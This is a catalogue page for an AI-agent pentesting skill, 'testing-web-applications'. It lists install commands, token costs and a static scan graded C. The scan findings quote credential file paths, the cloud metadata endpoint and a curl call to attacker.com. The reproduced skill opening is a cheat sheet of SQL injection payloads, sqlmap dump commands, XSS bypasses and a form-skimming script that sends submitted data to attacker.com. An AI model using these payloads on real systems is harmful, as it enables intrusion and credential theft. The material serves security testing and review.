Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/evilfreelancer/secs/testing-web-applicationsnpx skills add EvilFreelancer/secs --skill testing-web-applicationsgit clone --depth 1 https://github.com/EvilFreelancer/secsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/evilfreelancer/secs/testing-web-applications)<a href="https://agentmods.dev/skills/evilfreelancer/secs/testing-web-applications"><img src="https://agentmods.dev/badge/skills/evilfreelancer/secs/testing-web-applications.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00056 | $0.02650 |
| Opus 5 | $0.00028 | $0.01325 |
| Sonnet 5 | $0.00011 | $0.00530 |
| Haiku 4.5 | $0.00006 | $0.00265 |
Grade C, and why
testing-web-applications scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
~/.ssh/id_rsa Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
http://169.254.169.254/ # AWS metadata Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
& curl http://attacker.com & How it starts
The opening of the file, as written. The whole thing — 405 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Testing Web Applications
When to Use
- Pentesting web applications
- Testing authentication/authorization
- Exploiting injection vulnerabilities
- Analyzing JWT/session security
- Testing file upload functionality
- API security assessment
When NOT to Use
- Source code is available — use
auditing-code-for-vulnerabilitiesfirst; it finds more, faster - Pure API/GraphQL surface — use
testing-apis - Reviewing a pull request — use
auditing-code-for-vulnerabilities - LLM-backed features — use
securing-ai-systems - GraphQL or gRPC endpoints — use
testing-apis - A JWT (
eyJ...) in a header, cookie, or body — usetesting-apis - An OAuth/OIDC or "Sign in with X" flow (
/authorize,redirect_uri,code=) — usetesting-apis
SQL Injection
Quick Detection:
# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--
Union-Based SQLi:
# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--
Time-Based Blind:
-- MySQL
' AND SLEEP(5)--
-- PostgreSQL
' AND pg_sleep(5)--
-- MSSQL
' WAITFOR DELAY '0:0:5'--
Automated Testing:
# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name
Cross-Site Scripting (XSS)
Quick Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
Filter Bypasses:
<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">
Steal Credentials:
<script>
document.forms[0].onsubmit = function(){
fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};
</script>
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 405 lines · 56 tokens per session scan C e3bdd47714d4
testing-web-applications is a skill published in the GitHub repository EvilFreelancer/secs (10 stars, last pushed 25d ago), licensed Apache-2.0. It adds 56 tokens to every session and 2,650 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 3 findings (reaches for credential files, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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